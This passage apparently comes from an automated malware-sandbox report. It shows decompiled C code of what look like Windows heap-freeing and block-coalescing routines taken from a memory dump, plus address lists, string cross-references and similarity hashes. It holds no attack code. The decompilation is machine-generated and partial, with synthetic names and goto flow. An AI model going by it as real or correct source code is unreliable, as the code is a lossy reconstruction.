									continue;
								}
							}
							_t62 =  &(_t414[4]); // -16
							E00C0BC04(_t307, _t407, 1, _t62, _t301, _t373);
							goto L36;
						}
					}
					L11:
					_t402 = _t419[6];
					_t25 =  &(_t419[4]); // -16
					_t350 = _t25;
					_t254 =  *_t350;
					_v12 = _t254;
					_v20 = _t402;
					_t255 =  *((intOrPtr*)(_t254 + 4));
					__eflags =  *_t402 - _t255;
					if( *_t402 != _t255) {
						L61:
						_push(_t350);
						_push( *_t402);
						E00CAA80D(_t307, 0xd, _t350, _t255);
						goto L3;
					}
					__eflags =  *_t402 - _t350;
					if( *_t402 != _t350) {
						goto L61;
					}
					 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t419 & 0x0000ffff);
					_t404 =  *(_t307 + 0xb4);
					__eflags = _t404;
					if(_t404 == 0) {
						L20:
						_t352 = _v20;
						_t258 = _v12;
						 *_t352 = _t258;
						 *(_t258 + 4) = _t352;
						__eflags = _t419[1] & 0x00000008;
						if((_t419[1] & 0x00000008) != 0) {
							_t259 = E00C0A229(_t307, _t419);
							__eflags = _t259;
							if(_t259 != 0) {
								goto L21;
							} else {
								E00C0A309(_t307, _t419,  *_t419 & 0x0000ffff, 1);
								goto L3;
							}
						}
						L21:
						_t354 = _t419[1];
						__eflags = _t354 & 0x00000004;
						if((_t354 & 0x00000004) != 0) {
							_t415 = ( *_t419 & 0x0000ffff) * 8 - 0x10;
							__eflags = _t354 & 0x00000002;
							if((_t354 & 0x00000002) != 0) {
								__eflags = _t415 - 4;
								if(_t415 > 4) {
									_t415 = _t415 - 4;
									__eflags = _t415;
								}
							}
							_t91 =  &(_t419[8]); // -8
							_t262 = E00C3D540(_t91, _t415, 0xfeeefeee);
							_v20 = _t262;
							__eflags = _t262 - _t415;
							if(_t262 != _t415) {
								_t357 =  *[fs:0x30];
								__eflags =  *(_t357 + 0xc);
								if( *(_t357 + 0xc) == 0) {
									_push("HEAP: ");
									E00BEB150();
								} else {
									E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_v20 + 0x10 + _t419);
								E00BEB150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t419);
								_t271 =  *[fs:0x30];
								_t421 = _t421 + 0xc;
								__eflags =  *((char*)(_t271 + 2));
								if( *((char*)(_t271 + 2)) != 0) {
									 *0xcd6378 = 1;
									asm("int3");
									 *0xcd6378 = 0;
								}
							}
						}
						_t381 = _a4;
						_t414 = _t419;
						_t419[1] = 0;
						_t419[3] = 0;
						 *_t381 =  *_t381 + ( *_t419 & 0x0000ffff);
						 *_t419 =  *_t381;
						 *(_t419 + 4 +  *_t381 * 8) =  *_t381 ^  *(_t307 + 0x54);
						L4:
						_t420 = _t414 +  *_t381 * 8;
						if( *(_t307 + 0x4c) == 0) {
							L6:
							while((( *(_t307 + 0x4c) >> 0x00000014 &  *(_t307 + 0x52) ^ _t420[0]) & 0x00000001) == 0) {
								__eflags =  *(_t307 + 0x4c);
								if( *(_t307 + 0x4c) != 0) {
									_t390 =  *(_t307 + 0x50) ^  *_t420;
									 *_t420 = _t390;
									_t328 = _t390 >> 0x00000010 ^ _t390 >> 0x00000008 ^ _t390;
									__eflags = _t390 >> 0x18 - _t328;
									if(__eflags != 0) {
										_push(_t328);
										E00C9FA2B(_t307, _t307, _t420, _t414, _t420, __eflags);
									}
								}
								__eflags = _v5;
								if(_v5 == 0) {
									L94:
									_t382 = _t420[3];
									_t137 =  &(_t420[2]); // -16
									_t309 = _t137;
									_t186 =  *_t309;
									_v20 = _t186;
									_v16 = _t382;
									_t187 =  *((intOrPtr*)(_t186 + 4));
									__eflags =  *_t382 - _t187;
									if( *_t382 != _t187) {
										L63:
										_push(_t309);
										_push( *_t382);
										_push(_t187);
										_push(_t309);
										_push(0xd);
										L64:
										E00CAA80D(_t307);
										continue;
									}
									__eflags =  *_t382 - _t309;
									if( *_t382 != _t309) {
										goto L63;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t420 & 0x0000ffff);
									_t393 =  *(_t307 + 0xb4);
									__eflags = _t393;
									if(_t393 == 0) {
										L104:
										_t330 = _v16;
										_t190 = _v20;
										 *_t330 = _t190;
										 *(_t190 + 4) = _t330;
										__eflags = _t420[0] & 0x00000008;
										if((_t420[0] & 0x00000008) == 0) {
											L107:
											_t331 = _t420[0];
											__eflags = _t331 & 0x00000004;
											if((_t331 & 0x00000004) != 0) {
												_t196 = ( *_t420 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t196;
												__eflags = _t331 & 0x00000002;
												if((_t331 & 0x00000002) != 0) {
													__eflags = _t196 - 4;
													if(_t196 > 4) {
														_t196 = _t196 - 4;
														__eflags = _t196;
														_v12 = _t196;
													}
												}
												_t162 =  &(_t420[4]); // -8
												_t197 = E00C3D540(_t162, _t196, 0xfeeefeee);
												_v20 = _t197;
												__eflags = _t197 - _v12;
												if(_t197 != _v12) {
													_t335 =  *[fs:0x30];
													__eflags =  *(_t335 + 0xc);
													if( *(_t335 + 0xc) == 0) {
														_push("HEAP: ");
														E00BEB150();
													} else {
														E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t420);
													E00BEB150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t420);
													_t203 =  *[fs:0x30];
													__eflags =  *((char*)(_t203 + 2));
													if( *((char*)(_t203 + 2)) != 0) {
														 *0xcd6378 = 1;
														asm("int3");
														 *0xcd6378 = 0;
													}
												}
											}
											_t394 = _a4;
											_t414[1] = 0;
											_t414[3] = 0;
											 *_t394 =  *_t394 + ( *_t420 & 0x0000ffff);
											 *_t414 =  *_t394;
											 *(_t414 + 4 +  *_t394 * 8) =  *_t394 ^  *(_t307 + 0x54);
											break;
										}
										_t207 = E00C0A229(_t307, _t420);
										__eflags = _t207;
										if(_t207 != 0) {
											goto L107;
										}
										E00C0A309(_t307, _t420,  *_t420 & 0x0000ffff, 1);
										continue;
									}
									_t342 =  *_t420 & 0x0000ffff;
									while(1) {
										__eflags = _t342 -  *((intOrPtr*)(_t393 + 4));
										if(_t342 <  *((intOrPtr*)(_t393 + 4))) {
											break;
										}
										_t210 =  *_t393;
										__eflags = _t210;
										if(_t210 == 0) {
											_t212 =  *((intOrPtr*)(_t393 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t393 + 4)) - 1;
											L103:
											_t146 =  &(_t420[2]); // -16
											E00C0BC04(_t307, _t393, 1, _t146, _t212, _t342);
											goto L104;
										}
										_t393 = _t210;
									}
									_t212 = _t342;
									goto L103;
								} else {
									_t384 = _t414[6];
									_t102 =  &(_t414[4]); // -16
									_t311 = _t102;
									_t215 =  *_t311;
									_v20 = _t215;
									_v16 = _t384;
									_t216 =  *((intOrPtr*)(_t215 + 4));
									__eflags =  *_t384 - _t216;
									if( *_t384 != _t216) {
										L92:
										_push(_t311);
										_push( *_t384);
										E00CAA80D(_t307, 0xd, _t311, _t216);
										L93:
										_v5 = 0;
										goto L94;
									}
									__eflags =  *_t384 - _t311;
									if( *_t384 != _t311) {
										goto L92;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
									_t386 =  *(_t307 + 0xb4);
									__eflags = _t386;
									if(_t386 == 0) {
										L79:
										_t313 = _v16;
										_t219 = _v20;
										 *_t313 = _t219;
										 *(_t219 + 4) = _t313;
										__eflags = _t414[1] & 0x00000008;
										if((_t414[1] & 0x00000008) == 0) {
											L82:
											_t314 = _t414[1];
											__eflags = _t314 & 0x00000004;
											if((_t314 & 0x00000004) != 0) {
												_t221 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t221;
												__eflags = _t314 & 0x00000002;
												if((_t314 & 0x00000002) != 0) {
													__eflags = _t221 - 4;
													if(_t221 > 4) {
														_t221 = _t221 - 4;
														__eflags = _t221;
														_v12 = _t221;
													}
												}
												_t127 =  &(_t414[8]); // -8
												_t222 = E00C3D540(_t127, _t221, 0xfeeefeee);
												_v20 = _t222;
												__eflags = _t222 - _v12;
												if(_t222 != _v12) {
													_t316 =  *[fs:0x30];
													__eflags =  *(_t316 + 0xc);
													if( *(_t316 + 0xc) == 0) {
														_push("HEAP: ");
														E00BEB150();
													} else {
														E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t414);
													E00BEB150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
													_t228 =  *[fs:0x30];
													_t421 = _t421 + 0xc;
													__eflags =  *((char*)(_t228 + 2));
													if( *((char*)(_t228 + 2)) != 0) {
														 *0xcd6378 = 1;
														asm("int3");
														 *0xcd6378 = 0;
													}
												}
											}
											goto L93;
										}
										_t232 = E00C0A229(_t307, _t414);
										__eflags = _t232;
										if(_t232 != 0) {
											goto L82;
										}
										E00C0A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
										goto L93;
									}
									_t323 =  *_t414 & 0x0000ffff;
									while(1) {
										__eflags = _t323 -  *((intOrPtr*)(_t386 + 4));
										if(_t323 <  *((intOrPtr*)(_t386 + 4))) {
											break;
										}
										_t235 =  *_t386;
										__eflags = _t235;
										if(_t235 == 0) {
											_t237 =  *((intOrPtr*)(_t386 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t386 + 4)) - 1;
											L78:
											_t111 =  &(_t414[4]); // -16
											E00C0BC04(_t307, _t386, 1, _t111, _t237, _t323);
											goto L79;
										}
										_t386 = _t235;
									}
									_t237 = _t323;
									goto L78;
								}
							}
							return _t414;
						}
						_t398 =  *(_t307 + 0x50) ^  *_t420;
						_t347 = _t398 >> 0x00000010 ^ _t398 >> 0x00000008 ^ _t398;
						if(_t398 >> 0x18 != _t347) {
							_push(_t347);
							_push(0);
							_push(0);
							_push(_t420);
							_push(3);
							goto L64;
						}
						goto L6;
					} else {
						_t277 =  *_t419 & 0x0000ffff;
						_v16 = _t277;
						while(1) {
							__eflags = _t277 -  *((intOrPtr*)(_t404 + 4));
							if(_t277 <  *((intOrPtr*)(_t404 + 4))) {
								break;
							}
							_t279 =  *_t404;
							__eflags = _t279;
							if(_t279 == 0) {
								_t277 =  *((intOrPtr*)(_t404 + 4)) - 1;
								__eflags =  *((intOrPtr*)(_t404 + 4)) - 1;
								break;
							} else {
								_t404 = _t279;
								_t277 =  *_t419 & 0x0000ffff;
								continue;
							}
						}
						E00C0BC04(_t307, _t404, 1, _t350, _t277, _v16);
						goto L20;
					}
				}
			}

0x00c099ca
0x00c099cc
0x00c099df
0x00c099e3
0x00c099f8
0x00c099fb
0x00c099fb
0x00000000
0x00c09a48
0x00c09a48
0x00c09a4c
0x00c09a51
0x00c09a55
0x00c09a61
0x00c09a66
0x00c09a68
0x00c51457
0x00c5145c
0x00c5145c
0x00c09a68
0x00c09a6e
0x00c09a71
0x00c09a74
0x00c09a76
0x00c51466
0x00c51469
0x00c51469
0x00c5146c
0x00c5146e
0x00c51471
0x00c51474
0x00c51477
0x00c51479
0x00c5159c
0x00c5159c
0x00c5159d
0x00c515a6
0x00c515ab
0x00c515ab
0x00000000
0x00c515ab
0x00c5147f
0x00c51481
0x00000000
0x00000000
0x00c5148a
0x00c5148d
0x00c51493
0x00c51495
0x00c514c0
0x00c514c0
0x00c514c3
0x00c514c6
0x00c514c8
0x00c514cb
0x00c514cf
0x00c514f2
0x00c514f2
0x00c514f5
0x00c514f8
0x00c51501
0x00c51508
0x00c5150b
0x00c5150e
0x00c51510
0x00c51513
0x00c51515
0x00c51515
0x00c51518
0x00c51518
0x00c51513
0x00c51521
0x00c51525
0x00c5152a
0x00c5152d
0x00c51530
0x00c51532
0x00c51539
0x00c5153d
0x00c5155d
0x00c51562
0x00c5153f
0x00c51555
0x00c5155a
0x00c51570
0x00c51577
0x00c5157c
0x00c51582
0x00c51585
0x00c51589
0x00c5158b
0x00c51592
0x00c51593
0x00c51593
0x00c51589
0x00c51530
0x00000000
0x00c514f8
0x00c514d5
0x00c514da
0x00c514dc
0x00000000
0x00c514de
0x00c514e8
0x00000000
0x00c514e8
0x00c51497
0x00c51497
0x00c514a4
0x00c514a4
0x00c514a7
0x00c514a9
0x00c514ab
0x00c514ab
0x00c5149c
0x00c5149e
0x00c514a0
0x00c514b0
0x00c514b0
0x00000000
0x00c514a2
0x00c514a2
0x00000000
0x00c514a2
0x00c514a0
0x00c514b3
0x00c514bb
0x00000000
0x00c514bb
0x00c51495
0x00c09a7c
0x00c09a7c
0x00c09a7f
0x00c09a7f
0x00c09a82
0x00c09a84
0x00c09a87
0x00c09a8a
0x00c09a8d
0x00c09a8f
0x00c5166a
0x00c5166a
0x00c5166b
0x00c51674
0x00000000
0x00c51674
0x00c09a95
0x00c09a97
0x00000000
0x00000000
0x00c09aa0
0x00c09aa3
0x00c09aa9
0x00c09aab
0x00c09ad7
0x00c09ad7
0x00c09ada
0x00c09add
0x00c09adf
0x00c09ae2
0x00c09ae6
0x00c09b22
0x00c09b27
0x00c09b29
0x00000000
0x00c09b2b
0x00c515be
0x00000000
0x00c515be
0x00c09b29
0x00c09ae8
0x00c09ae8
0x00c09aeb
0x00c09aee
0x00c515cb
0x00c515d2
0x00c515d5
0x00c515d7
0x00c515da
0x00c515dc
0x00c515dc
0x00c515dc
0x00c515da
0x00c515e5
0x00c515e9
0x00c515ee
0x00c515f1
0x00c515f3
0x00c515f9
0x00c51600
0x00c51604
0x00c51624
0x00c51629
0x00c51606
0x00c5161c
0x00c51621
0x00c51637
0x00c5163e
0x00c51643
0x00c51649
0x00c5164c
0x00c51650
0x00c51656
0x00c5165d
0x00c5165e
0x00c5165e
0x00c51650
0x00c515f3
0x00c09af4
0x00c09af7
0x00c09afc
0x00c09b00
0x00c09b04
0x00c09b08
0x00c09b14
0x00c099fe
0x00c09a04
0x00c09a07
0x00000000
0x00c09a29
0x00c5169c
0x00c516a0
0x00c516a5
0x00c516a9
0x00c516b5
0x00c516ba
0x00c516bc
0x00c516be
0x00c516c3
0x00c516c3
0x00c516bc
0x00c516c8
0x00c516cc
0x00c5181b
0x00c5181b
0x00c5181e
0x00c5181e
0x00c51821
0x00c51823
0x00c51826
0x00c51829
0x00c5182c
0x00c5182e
0x00c51688
0x00c51688
0x00c51689
0x00c5168b
0x00c5168c
0x00c5168d
0x00c5168f
0x00c51692
0x00000000
0x00c51692
0x00c51834
0x00c51836
0x00000000
0x00000000
0x00c5183f
0x00c51842
0x00c51848
0x00c5184a
0x00c51875
0x00c51875
0x00c51878
0x00c5187b
0x00c5187d
0x00c51880
0x00c51884
0x00c518a7
0x00c518a7
0x00c518aa
0x00c518ad
0x00c518b6
0x00c518bd
0x00c518c0
0x00c518c3
0x00c518c5
0x00c518c8
0x00c518ca
0x00c518ca
0x00c518cd
0x00c518cd
0x00c518c8
0x00c518d5
0x00c518da
0x00c518df
0x00c518e2
0x00c518e5
0x00c518e7
0x00c518ee
0x00c518f2
0x00c51912
0x00c51917
0x00c518f4
0x00c5190a
0x00c5190f
0x00c51925
0x00c5192c
0x00c51931
0x00c5193a
0x00c5193e
0x00c51940
0x00c51947
0x00c51948
0x00c51948
0x00c5193e
0x00c518e5
0x00c5194f
0x00c51952
0x00c51956
0x00c5195d
0x00c51961
0x00c5196d
0x00000000
0x00c5196d
0x00c5188a
0x00c5188f
0x00c51891
0x00000000
0x00000000
0x00c5189d
0x00000000
0x00c5189d
0x00c5184c
0x00c51859
0x00c51859
0x00c5185c
0x00000000
0x00000000
0x00c51851
0x00c51853
0x00c51855
0x00c51865
0x00c51865
0x00c51866
0x00c51868
0x00c51870
0x00000000
0x00c51870
0x00c51857
0x00c51857
0x00c5185e
0x00000000
0x00c516d2
0x00c516d2
0x00c516d5
0x00c516d5
0x00c516d8
0x00c516da
0x00c516dd
0x00c516e0
0x00c516e3
0x00c516e5
0x00c51808
0x00c51808
0x00c51809
0x00c51812
0x00c51817
0x00c51817
0x00000000
0x00c51817
0x00c516eb
0x00c516ed
0x00000000
0x00000000
0x00c516f6
0x00c516f9
0x00c516ff
0x00c51701
0x00c5172c
0x00c5172c
0x00c5172f
0x00c51732
0x00c51734
0x00c51737
0x00c5173b
0x00c5175e
0x00c5175e
0x00c51761
0x00c51764
0x00c5176d
0x00c51774
0x00c51777
0x00c5177a
0x00c5177c
0x00c5177f
0x00c51781
0x00c51781
0x00c51784
0x00c51784
0x00c5177f
0x00c5178c
0x00c51791
0x00c51796
0x00c51799
0x00c5179c
0x00c5179e
0x00c517a5
0x00c517a9
0x00c517c9
0x00c517ce
0x00c517ab
0x00c517c1
0x00c517c6
0x00c517dc
0x00c517e3
0x00c517e8
0x00c517ee
0x00c517f1
0x00c517f5
0x00c517f7
0x00c517fe
0x00c517ff
0x00c517ff
0x00c517f5
0x00c5179c
0x00000000
0x00c51764
0x00c51741
0x00c51746
0x00c51748
0x00000000
0x00000000
0x00c51754
0x00000000
0x00c51754
0x00c51703
0x00c51710
0x00c51710
0x00c51713
0x00000000
0x00000000
0x00c51708
0x00c5170a
0x00c5170c
0x00c5171c
0x00c5171c
0x00c5171d
0x00c5171f
0x00c51727
0x00000000
0x00c51727
0x00c5170e
0x00c5170e
0x00c51715
0x00000000
0x00c51715
0x00c516cc
0x00c09a45
0x00c09a45
0x00c09a0e
0x00c09a1c
0x00c09a23
0x00c5167e
0x00c5167f
0x00c51681
0x00c51683
0x00c51684
0x00000000
0x00c51684
0x00000000
0x00c09aad
0x00c09aad
0x00c09ab0
0x00c09ab3
0x00c09ab3
0x00c09ab6
0x00000000
0x00000000
0x00c09ab8
0x00c09aba
0x00c09abc
0x00c09ac8
0x00c09ac8
0x00000000
0x00c09abe
0x00c09abe
0x00c09ac0
0x00000000
0x00c09ac0
0x00c09abc
0x00c09ad2
0x00000000
0x00c09ad2
0x00c09aab

Strings

HEAP[%wZ]: , xrefs: 00C51550, 00C51617, 00C517BC, 00C51905
HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 00C51572, 00C51639, 00C517DE, 00C51927
HEAP: , xrefs: 00C5155D, 00C51624, 00C517C9, 00C51912

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 8a5f691207e343d1c204f58b4e37c5e3c5361488ecc4b4af0e7399e711a01fb6
Instruction ID: 4b900d70e20c757c22526e7ff1a19b5ac206f5f5c165b9111b40bdcdf8267bfb
Opcode Fuzzy Hash: 8a5f691207e343d1c204f58b4e37c5e3c5361488ecc4b4af0e7399e711a01fb6
Instruction Fuzzy Hash: 0A220074A002419FDB24DF29C899B7AB7F5EF44705F2884ADEC568B392E730D989CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B477, Relevance: 4.2, Strings: 3, Instructions: 405
COMMONCrypto

Download Yara Rule

C-Code - Quality: 67%

			E00C0B477(signed int __ecx, signed int* __edx) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int* _v20;
				signed int _v24;
				char _v28;
				signed int _v44;
				char _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t131;
				signed char _t134;
				signed int _t139;
				void* _t141;
				signed int* _t143;
				signed int* _t144;
				intOrPtr* _t147;
				char _t160;
				signed int* _t163;
				signed char* _t164;
				intOrPtr _t165;
				signed int* _t167;
				signed char* _t168;
				intOrPtr _t193;
				intOrPtr* _t195;
				signed int _t203;
				signed int _t209;
				signed int _t211;
				intOrPtr _t214;
				intOrPtr* _t231;
				intOrPtr* _t236;
				signed int _t237;
				intOrPtr* _t238;
				signed int _t240;
				intOrPtr _t241;
				char _t243;
				signed int _t252;
				signed int _t254;
				signed char _t259;
				signed int _t264;
				signed int _t268;
				intOrPtr _t277;
				unsigned int _t279;
				signed int* _t283;
				intOrPtr* _t284;
				unsigned int _t287;
				signed int _t291;
				signed int _t293;

				_v8 =  *0xcdd360 ^ _t293;
				_t223 = __edx;
				_v20 = __edx;
				_t291 = __ecx;
				_t276 =  *__edx;
				_t231 = E00C0B8E4( *__edx);
				_t292 = __ecx + 0x8c;
				_v16 = _t231;
				if(_t231 == __ecx + 0x8c) {
					L38:
					_t131 = 0;
					L34:
					return E00C2B640(_t131, _t223, _v8 ^ _t293, _t276, _t291, _t292);
				}
				if( *0xcd8748 >= 1) {
					__eflags =  *((intOrPtr*)(_t231 + 0x14)) -  *__edx;
					if(__eflags < 0) {
						_t214 =  *[fs:0x30];
						__eflags =  *(_t214 + 0xc);
						if( *(_t214 + 0xc) == 0) {
							_push("HEAP: ");
							E00BEB150();
						} else {
							E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(UCRBlock->Size >= *Size)");
						E00BEB150();
						__eflags =  *0xcd7bc8;
						if(__eflags == 0) {
							__eflags = 1;
							E00CA2073(_t223, 1, _t291, 1);
						}
						_t231 = _v16;
					}
				}
				_t5 = _t231 - 8; // -8
				_t292 = _t5;
				_t134 =  *((intOrPtr*)(_t292 + 6));
				if(_t134 != 0) {
					_t223 = (_t292 & 0xffff0000) - ((_t134 & 0x000000ff) << 0x10) + 0x10000;
				} else {
					_t223 = _t291;
				}
				_t276 = _v20;
				_v28 =  *((intOrPtr*)(_t231 + 0x10));
				_t139 =  *(_t291 + 0xcc) ^  *0xcd8a68;
				_v12 = _t139;
				if(_t139 != 0) {
					 *0xcdb1e0(_t291,  &_v28, _t276);
					_t141 = _v12();
					goto L8;
				} else {
					_t203 =  *((intOrPtr*)(_t231 + 0x14));
					_v12 = _t203;
					if(_t203 -  *_t276 <=  *(_t291 + 0x6c) << 3) {
						_t264 = _v12;
						__eflags = _t264 -  *(_t291 + 0x5c) << 3;
						if(__eflags < 0) {
							 *_t276 = _t264;
						}
					}
					_t209 =  *(_t291 + 0x40) & 0x00040000;
					asm("sbb ecx, ecx");
					_t268 = ( ~_t209 & 0x0000003c) + 4;
					_v12 = _t268;
					if(_t209 != 0) {
						_push(0);
						_push(0x14);
						_push( &_v48);
						_push(3);
						_push(_t291);
						_push(0xffffffff);
						_t211 = E00C29730();
						__eflags = _t211;
						if(_t211 < 0) {
							L56:
							_push(_t268);
							_t276 = _t291;
							E00CAA80D(_t291, 1, _v44, 0);
							_t268 = 4;
							goto L7;
						}
						__eflags = _v44 & 0x00000060;
						if((_v44 & 0x00000060) == 0) {
							goto L56;
						}
						__eflags = _v48 - _t291;
						if(__eflags != 0) {
							goto L56;
						}
						_t268 = _v12;
					}
					L7:
					_push(_t268);
					_push(0x1000);
					_push(_v20);
					_push(0);
					_push( &_v28);
					_push(0xffffffff);
					_t141 = E00C29660();
					 *((intOrPtr*)(_t291 + 0x20c)) =  *((intOrPtr*)(_t291 + 0x20c)) + 1;
					L8:
					if(_t141 < 0) {
						 *((intOrPtr*)(_t291 + 0x214)) =  *((intOrPtr*)(_t291 + 0x214)) + 1;
						goto L38;
					}
					_t143 =  *( *[fs:0x30] + 0x50);
					if(_t143 != 0) {
						__eflags =  *_t143;
						if(__eflags == 0) {
							goto L10;
						}
						_t144 =  &(( *( *[fs:0x30] + 0x50))[0x89]);
						L11:
						if( *_t144 != 0) {
							__eflags =  *( *[fs:0x30] + 0x240) & 0x00000001;
							if(__eflags != 0) {
								E00CA138A(_t223, _t291, _v28,  *_v20, 2);
							}
						}
						if( *((intOrPtr*)(_t291 + 0x4c)) != 0) {
							_t287 =  *(_t291 + 0x50) ^  *_t292;
							 *_t292 = _t287;
							_t259 = _t287 >> 0x00000010 ^ _t287 >> 0x00000008 ^ _t287;
							if(_t287 >> 0x18 != _t259) {
								_push(_t259);
								E00C9FA2B(_t223, _t291, _t292, _t291, _t292, __eflags);
							}
						}
						_t147 = _v16 + 8;
						 *((char*)(_t292 + 2)) = 0;
						 *((char*)(_t292 + 7)) = 0;
						_t236 =  *((intOrPtr*)(_t147 + 4));
						_t277 =  *_t147;
						_v24 = _t236;
						_t237 =  *_t236;
						_v12 = _t237;
						_t238 = _v16;
						if(_t237 !=  *((intOrPtr*)(_t277 + 4)) || _v12 != _t147) {
							_push(_t238);
							_push(_v12);
							E00CAA80D(0, 0xd, _t147,  *((intOrPtr*)(_t277 + 4)));
							_t238 = _v16;
						} else {
							_t195 = _v24;
							 *_t195 = _t277;
							 *((intOrPtr*)(_t277 + 4)) = _t195;
						}
						if( *(_t238 + 0x14) == 0) {
							L22:
							_t223[0x30] = _t223[0x30] - 1;
							_t223[0x2c] = _t223[0x2c] - ( *(_t238 + 0x14) >> 0xc);
							 *((intOrPtr*)(_t291 + 0x1e8)) =  *((intOrPtr*)(_t291 + 0x1e8)) +  *(_t238 + 0x14);
							 *((intOrPtr*)(_t291 + 0x1fc)) =  *((intOrPtr*)(_t291 + 0x1fc)) + 1;
							 *((intOrPtr*)(_t291 + 0x1f8)) =  *((intOrPtr*)(_t291 + 0x1f8)) - 1;
							_t279 =  *(_t238 + 0x14);
							if(_t279 >= 0x7f000) {
								 *((intOrPtr*)(_t291 + 0x1ec)) =  *((intOrPtr*)(_t291 + 0x1ec)) - _t279;
								_t279 =  *(_t238 + 0x14);
							}
							_t152 = _v20;
							_t240 =  *_v20;
							_v12 = _t240;
							_t241 = _v16;
							if(_t279 <= _t240) {
								__eflags =  *((intOrPtr*)(_t241 + 0x10)) + _t279 - _t223[0x28];
								if( *((intOrPtr*)(_t241 + 0x10)) + _t279 != _t223[0x28]) {
									 *_v20 = _v12 + ( *_t292 & 0x0000ffff) * 8;
									L26:
									_t243 = 0;
									 *((char*)(_t292 + 3)) = 0;
									_t276 = _t223[0x18];
									if(_t223[0x18] != _t223) {
										_t160 = (_t292 - _t223 >> 0x10) + 1;
										_v24 = _t160;
										__eflags = _t160 - 0xfe;
										if(_t160 >= 0xfe) {
											_push(0);
											_push(0);
											E00CAA80D(_t276, 3, _t292, _t223);
											_t160 = _v24;
										}
										_t243 = _t160;
									}
									 *((char*)(_t292 + 6)) = _t243;
									_t163 =  *( *[fs:0x30] + 0x50);
									if(_t163 != 0) {
										__eflags =  *_t163;
										if( *_t163 == 0) {
											goto L28;
										}
										_t227 = 0x7ffe0380;
										_t164 =  &(( *( *[fs:0x30] + 0x50))[0x89]);
										goto L29;
									} else {
										L28:
										_t227 = 0x7ffe0380;
										_t164 = 0x7ffe0380;
										L29:
										if( *_t164 != 0) {
											_t165 =  *[fs:0x30];
											__eflags =  *(_t165 + 0x240) & 0x00000001;
											if(( *(_t165 + 0x240) & 0x00000001) != 0) {
												__eflags = E00C07D50();
												if(__eflags != 0) {
													_t227 =  &(( *( *[fs:0x30] + 0x50))[0x89]);
													__eflags =  &(( *( *[fs:0x30] + 0x50))[0x89]);
												}
												_t276 = _t292;
												E00CA1582(_t227, _t291, _t292, __eflags,  *_v20,  *(_t291 + 0x74) << 3,  *_t227 & 0x000000ff);
											}
										}
										_t223 = 0x7ffe038a;
										_t167 =  *( *[fs:0x30] + 0x50);
										if(_t167 != 0) {
											__eflags =  *_t167;
											if( *_t167 == 0) {
												goto L31;
											}
											_t168 =  &(( *( *[fs:0x30] + 0x50))[0x8c]);
											goto L32;
										} else {
											L31:
											_t168 = _t223;
											L32:
											if( *_t168 != 0) {
												__eflags = E00C07D50();
												if(__eflags != 0) {
													_t223 =  &(( *( *[fs:0x30] + 0x50))[0x8c]);
													__eflags =  &(( *( *[fs:0x30] + 0x50))[0x8c]);
												}
												_t276 = _t292;
												E00CA1582(_t223, _t291, _t292, __eflags,  *_v20,  *(_t291 + 0x74) << 3,  *_t223 & 0x000000ff);
											}
											_t131 = _t292;
											goto L34;
										}
									}
								}
								_t152 = _v20;
							}
							E00C0B73D(_t291, _t223,  *((intOrPtr*)(_t241 + 0x10)) + _v12 + 0xffffffe8, _t279 - _v12, _t292, _t152);
							 *_v20 =  *_v20 << 3;
							goto L26;
						} else {
							_t283 =  *(_t291 + 0xb8);
							if(_t283 != 0) {
								_t190 =  *(_t238 + 0x14) >> 0xc;
								while(1) {
									__eflags = _t190 - _t283[1];
									if(_t190 < _t283[1]) {
										break;
									}
									_t252 =  *_t283;
									__eflags = _t252;
									_v24 = _t252;
									_t238 = _v16;
									if(_t252 == 0) {
										_t190 = _t283[1] - 1;
										__eflags = _t283[1] - 1;
										L70:
										E00C0BC04(_t291, _t283, 0, _t238, _t190,  *(_t238 + 0x14));
										_t238 = _v16;
										goto L19;
									}
									_t283 = _v24;
								}
								goto L70;
							}
							L19:
							_t193 =  *_t238;
							_t284 =  *((intOrPtr*)(_t238 + 4));
							_t254 =  *((intOrPtr*)(_t193 + 4));
							_v24 = _t254;
							_t238 = _v16;
							if( *_t284 != _t254 ||  *_t284 != _t238) {
								_push(_t238);
								_push( *_t284);
								E00CAA80D(0, 0xd, _t238, _v24);
								_t238 = _v16;
							} else {
								 *_t284 = _t193;
								 *((intOrPtr*)(_t193 + 4)) = _t284;
							}
							goto L22;
						}
					}
					L10:
					_t144 = 0x7ffe0380;
					goto L11;
				}
			}

0x00c0b486
0x00c0b48a
0x00c0b48e
0x00c0b491
0x00c0b493
0x00c0b49a
0x00c0b49c
0x00c0b4a2
0x00c0b4a7
0x00c0b6fc
0x00c0b6fc
0x00c0b6b3
0x00c0b6c3
0x00c0b6c3
0x00c0b4b4
0x00c5294f
0x00c52951
0x00c52957
0x00c5295d
